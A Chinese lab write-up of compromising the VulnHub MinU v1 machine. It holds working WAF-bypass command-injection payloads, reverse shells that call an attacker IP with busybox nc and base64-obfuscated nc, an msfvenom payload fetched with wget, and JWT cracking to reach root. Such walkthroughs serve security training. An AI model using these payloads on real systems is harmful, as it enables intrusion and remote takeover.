涉及目錄知識點
1.NMAP挖掘信息2.web信息枚舉3.繞過WAF(一)識別waf4.繞過WAF(二)模糊測試Fuzz5.繞過WAF(三)6.繞過WAF(四)7.繞過WAF(五)8.穩定shell拓展9.內部信息收集10.提權--深入分析PW文件11.總結
本項目中包含信息收集、信息收集、識別WAF、多種繞過WAF方式、獲取穩定shell、內部信息收集和提權,最終拿到flag.txt。其中包含一些小技巧以及知識,都會在文章中展現出來。
注意:
本文僅用于技術討論與研究,對于所有筆記中復現的這些終端或者服務器,都是自行搭建的環境進行滲透的。我將使用Kali Linux作為此次學習的攻擊者機器。這里使用的技術僅用于學習教育目的,如果列出的技術用于其他任何目標,本站及作者概不負責。
靶機下載地址:https://www.vulnhub.com/entry/minu-1,235/
下載完成后,使用 VirtualBox 導入,網絡選擇橋接模式,開啟靶機.
準備工作完成,可以開始進行滲透了。
滲透測試的本質就是信息收集,
信息搜集的廣度決定了攻擊的廣度,知識面的廣度決定了攻擊的深度。
1.NMAP挖掘信息
掃描挖掘本地的IP地址信息:
nmap -sS -sV -T5 -A 10.163.197.21
發現開放了25、80、110端口,25端口為SMTP端口服務,110端口為POP3,80端口掃描出了是烏班圖的系統,該apache的版本為2.4.7,接下來訪問下http的80端口。
2.web信息枚舉
訪問80端口
可以看到是apache的一個初始的服務頁面,僅僅只有80端口開了htp服務的話,猜測下面一定是有目錄的,所以進行爆破看看。
也可以使用其他爆破目錄工具,此處我使用的是dirb,dirb是一個基于字典的web目錄掃描工具,查找現有的(和/或隱藏的)Web對象,通過對Web服務器發起基于字典的攻擊并分析響應的數據。采用遞歸的方式來獲取更多的目錄,它還支持代理和http認證限制訪問的網站,是在信息收集階段獲取目標信息常用工具手段。
dirb http://10.163.197.21/
掃描結果的狀態碼中大部分都是403,如果大批量出現403,說明前端是存在安全防護機制的,要么是waf要么是防御腳本。上面的爆破只有一個index.html返回的是200,訪問發現就是剛才的主頁。加大爆破力度。
在很多情況下,我們需要在目標服務器上提取特定擴展名的目錄,然后可以使用dirb掃描的-X參數。此參數接受文件擴展名,然后在目標服務器或計算機上搜索給定的擴展名文件。
dirbhttp://10.163.197.21/-X .php .html
發現存在一個 test.php。
訪問http://10.163.197.21/test.php
提示:Read last visitor data 讀取上次訪問者數據。是否存在信息泄露呢,我們點擊這個提示。
點擊后彈出:http://192.168.3.88/test.php?file=last.html,一般情況下 ?file= 存在文件包含、sql注入。
嘗試對URL進行構造。
http://10.163.197.21/test.php?file=../../../../../../../etc/passwd
結合前面爆破是大部分回顯均為403,猜測是存在WAF,嘗試命令注入。
發現存在命令注入,手工試了一些后,發現ls、cat這些命令無法正常執行,應該是被waf攔截了。
3.繞過WAF(一)識別waf
這里使用一個工具,對waf進行探測 WAFW00F
WAFW00F是一個Web應用防火墻(WAF)指紋識別的工具。
WAFW00F工作原理:
1、首先通過發送一個正常http請求,然后觀察其返回有沒有一些特征字符
2、如果不成功,它將發送大量(潛在的惡意) HTTP 請求,并使用簡單的邏輯推斷出它是哪個WAF
3、如果這也不成功,它將分析以前返回的響應,并使用另一個簡單的算法來猜測 WAF 或安全解決方案是否正在積極響應我們的攻擊.
下載地址:https://github.com/EnableSecurity/wafw00f
KALI自帶這個工具
wafw00fhttp://10.163.197.21/
根據回顯,存在waf,但是無法識別出來,當前使用的這個 wafw00f 是新版waf,但是新版反而不是很好用,所以我們再使用舊版的嘗試一下。
舊版檢測到是一款叫 modsecurity 的waf,是一個開源waf。
規則機制(繞過CRS)
WAF可以安裝在服務器,可以安裝在某個站的目錄下,也可以安裝在PHP文件內。
https://github.com/SpiderLabs/ModSecurity---開源
https://github.com/SpiderLabs/owasp-modsecurity-crs
ModSecurity是一個開源的跨平臺Web應用程序防火墻(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs開發。作為WAF產品,ModSecurity專門關注HTTP流量,當發出HTTP請求時,ModSecurity檢查請求的所有部分,如果請求是惡意的,它會被阻止和記錄。
功能:
SQL Injection (SQLi):阻止SQL注入
Cross Site Scripting (XSS):阻止跨站腳本攻擊
Local File Inclusion (LFI):阻止利用本地文件包含漏洞進行攻擊
Remote File Inclusione(RFI):阻止利用遠程文件包含漏洞進行攻擊
Remote Code Execution (RCE):阻止利用遠程命令執行漏洞進行攻擊
PHP Code Injectiod:阻止PHP代碼注入
HTTP Protocol Violations:阻止違反HTTP協議的惡意訪問
HTTPoxy:阻止利用遠程代理感染漏洞進行攻擊
Shellshock:阻止利用Shellshock漏洞進行攻擊
Session Fixation:阻止利用Session會話ID不變的漏洞進行攻擊
Metadata/Error Leakages:阻止源代碼/錯誤信息泄露
Project Honey Pot Blacklist:蜜罐項目黑名單
GeoIP Country Blocking:根據判斷IP地址歸屬地來進行IP阻斷
4.繞過WAF(二)模糊測試Fuzz
繞過waf可以嘗試進行模糊測試,也就是FUZZ,FUZZ可以應用在很多場景中。
此處我們使用wfuzz工具。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txthttp://10.163.197.21/test.php?file=FUZZ---正常模糊測試執行命令。
-c 輸出顏色 -z payload
這里跑出很多種結果。
響應值是200的和403的都很多,所以我們進行一下過濾,把403和404的過濾掉,然后重新執行。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403http://10.163.197.21/test.php?file=FUZZ---加hc過濾。
剩下的就都是響應值為200的,此時就可以使用命令測試繞過waf。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403http://10.163.197.21/test.php?file=FUZZ| grep dir
上面的命令是dir如何可以繞過waf。
出示了兩種方式,我們進行嘗試。
訪問http://10.163.197.21/test.php?file=|dir
可以繞過
關于wfuzz的詳細使用可以參考:https://blog.csdn.net/qq_17204441/article/details/102279118
通過 | 繞過waf
現在已經可以繞過waf進行命令執行了
5.繞過WAF(三)
分號“;” 隔離繞過waf!
以文件形式去讀的時候,加;就可以繞過
http://10.163.197.21/test.php?file=last.html;id
因為PHP底下是有過濾器的,因為有過濾器才導致有文件包含,我們用過濾器讀取了文件包含下的一個文件。
通過訪問 http://10.163.197.21/test.php?file=--version可以看到過濾器的信息。
是用cat過濾的,所以要以一個文件開頭讀取信息,然后再繞過。
但是目前的兩種繞過方式都只能執行部分命令,如果命令后面需要跟參數,就不行了。
二進制繞過
可以在不受限制和不同的二進制文件中執行命令來繞過本地安全限制!
這里提供一個包含所有二進制文件的網站:
二進制文件的列表:https://gtfobins.github.io/
最終發現:https://gtfobins.github.io/gtfobins/busybox/可以繞過waf
所以根據二進制繞過waf,就可以反彈shell到其他機器上。
http://10.163.197.21/test.php?file=YLion;busyboxnc 10.163.196.91 6789 -e sh
此時是沒有環境變量的,但是每個二進制文件都包含環境變量,可以添加參數-i。
http://10.163.197.21/test.php?file=YLion;busyboxnc 10.163.196.91 6789 -e sh -i
6.繞過WAF(四)
& --繞waf(URL編碼混淆繞過WAF)。
&的url編碼為%26 空格的url編碼為%20。
&會過濾掉前面的命令,直接執行后面的命令。
可以執行成功。
這里混淆的話,linux一般都會默認安裝base64,所以使用base64加密混淆。
但是base64加密完會包含=,=被waf加入黑名單了,等號和你加密時的空格有關,可以在末尾添加空格,加密后等號就會去掉,如圖下中的嘗試。
&/bin/echo bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64 -d|/bin/sh
%26/bin/echo bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64 -d|/bin/sh
此處執行
http://10.163.197.21/test.php?file=%26/bin/echo%20bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64%20-d|/bin/sh
發現無法執行。
此時嘗試繼續繞過,加?號,?問號在linux中以命令使用著,例如:/bin/echo可以通過替換一些字母來調用,/bin/ech?,仍然會執行相同的命令!----在中間件服務里會自動識別命令。
%26/b?n/ec?o bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/u?r/b?n/b?se64 -d|/bin/?h
http://10.163.197.21/test.php?file=%26/b?n/ec?o%20bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/u?r/b?n/b?se64%20-d|/bin/?h
成功 總結一下:
1)知道了cat執行命令,那么用&符號:
& 符號url編碼是%26,結束并開始一個新的命令!
2)%20 ---空格
3)bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjMuODYgMTMzNyAgICAgICAK ---base64編碼
(這里==也在黑名單上)
4)/u?r/b?n/b?se64%20-d是url編碼的繞過方法:/usr/bin/base64 -d
5)|/b?n/sh也是一種繞過:|/bin/sh、
7.繞過WAF(五)
$繞過WAF,但是是針對modsecurity這個waf的。
$u 然后執行命令 $u被視為空字符串。
首先我們使用msf生成一個shell。
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.27.187 lport=4455 -f elf > shell
然后用python開啟一個http服務,并且用nc監聽4455端口。
http://10.163.197.21/test.php?file=YLion;$u wgethttp://192.168.27.187:80/shell-o /tmp/shell
執行即可成功上傳,通過下面的命令查看。
http://10.163.197.21/test.php?file=YLion;$u ls /tmp
可以看到文件存在,查看一下文件權限。
http://10.163.197.21/test.php?file=YLion;$u ls -la /tmp/shell
并且發現權限比較低,所以執行另一條命令。
http://10.163.197.21/test.php?file=YLion;$u chmod 777 /tmp/shell
給予高權限,再次查看。
http://10.163.197.21/test.php?file=YLion;$u ls /tmp
權限已經變高了,攻擊機上進行監聽端口。
nc -vlp 4455
http://10.163.197.21/test.php?file=YLion;$u /tmp/shell
注意:這里存在一個坑,可能大家做到這里會發現,python開啟的http服務那里有記錄,文件也可以看到,但是沒有回顯,其實是因為作者挖了一個坑,大家看上面查看文件權限的圖片,里面那個0,代表文件大小是0,這是因為文件空間滿了,搭建之處空間被占滿了,所以只有一個文件空殼,有名字,但是沒有內容。所以需要刪除一些文件,再重新上傳。
總結上述繞過方式:| $ & ; 加上各種混淆base64 ? 等等
8.穩定shell拓展
這里已經拿到shell,這里也有一點,就是這里要輸python3,而不是直接python。
python3 -c 'import pty; pty.spawn("/bin/bash")'
SHELL=/bin/bash script -q /dev/null
xport TERM=xterm-256color
ctrl + z
stty raw -echo
fg
執行完成就拿到了穩定shell。
9.內部信息收集
uname -a
由此得知是一個32位的系統。
可以上傳一個腳本,然后運行 linpeas.sh 這是一個Linux提權輔助工具。
這個腳本非常厲害,可以枚舉linux操作系統幾乎所有的可提權項,甚至可以通過su暴力破解本地密碼,輸出非常多。
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
由于沒有空間,可以使用rm -rf命令刪除tmp目錄下的一些文件,一般tmp目錄下為臨時文件。
Linux version 4.13.0-39-generic ---45010
Sudo version 1.8.20p2 ---CVE-2021-3156
uid=1000(bob) gid=1000(bob) groups=1000(bob),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare) ---找到bob的密碼,su bob登錄用sudo -l提權。
在tmp目錄下進行查看
ls -la
再查看一下home目錄下的內容。
然后在 /home/bob/ 目錄下找到一個隱藏文件。
上面的腳本也會枚舉出這個文件。
通過python3,將該文件下載下來。
python3 -m http.server 8089
wget http://192.168.2.230:8089/._pw_
cat ._pw_
10.提權--深入分析PW文件
初步懷疑這是一個密碼base64加密,但是base64中并沒有點,直接嘗試解碼試試。
點在base64中代表跳過的意思,前面的部分解出了一些東西。
sha256 類型:JWT
將第一個點號過濾,查看后面的信息。
過濾第二個點號。
是二進制文件。
對已有信息進行解讀。
JWT是一種密匙認證機制,類似簽名。
JSON Web Token(JWT)是一個開放的行業標準(RFC 7519),它定義了一種簡介的、自包含的協議格式,用于在通信雙方傳遞json對象,傳遞的信息經過數字簽名可以被驗證和信任。JWT可以使用HMAC算法或使用RSA的公 鑰/私鑰對來簽名,防止被篡改。
JWT 具有這種格式的三個部分:
base64(header).base64(payload).base64(signature)
1. header在 JSON 中指定算法和類型。
2. payload指定令牌的聲明,也在 JSON 中。
3. signature是編碼頭和有效載荷的數字簽名。
解密提供兩種思路,在線解密以及解密工具。
https://jwt.io/#debugger這個網站提供在線解密,但是有些情況是解不出來的,需要使用工具破解。
這里給出兩種工具:
https://github.com/brendan-rius/c-jwt-cracker.git
https://github.com/lmammino/jwt-cracker
我們使用第一種
proxychains git clonehttps://github.com/brendan-rius/c-jwt-cracker.git
cd jwt-cracker
apt-get install libssl-dev
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
Secret is "mlnV1" ----等待幾分鐘
賬戶root,密碼為mlnV1
root目錄下存在flag.txt
11.總結
本篇文章著重點在于過WAF部分,也對其他的信息手機、提權的等給出了一些思路,希望小伙伴們能實際操作復現一遍!來鞏固自身的滲透技術和技巧!
原文標題:紅隊滲透項目之MinUv1
文章出處:【微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。
-
服務器
+關注
關注
12文章
9303瀏覽量
86061 -
端口
+關注
關注
4文章
990瀏覽量
32207 -
WAF
+關注
關注
0文章
29瀏覽量
10514 -
Shell
+關注
關注
1文章
366瀏覽量
23444
原文標題:紅隊滲透項目之MinUv1
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論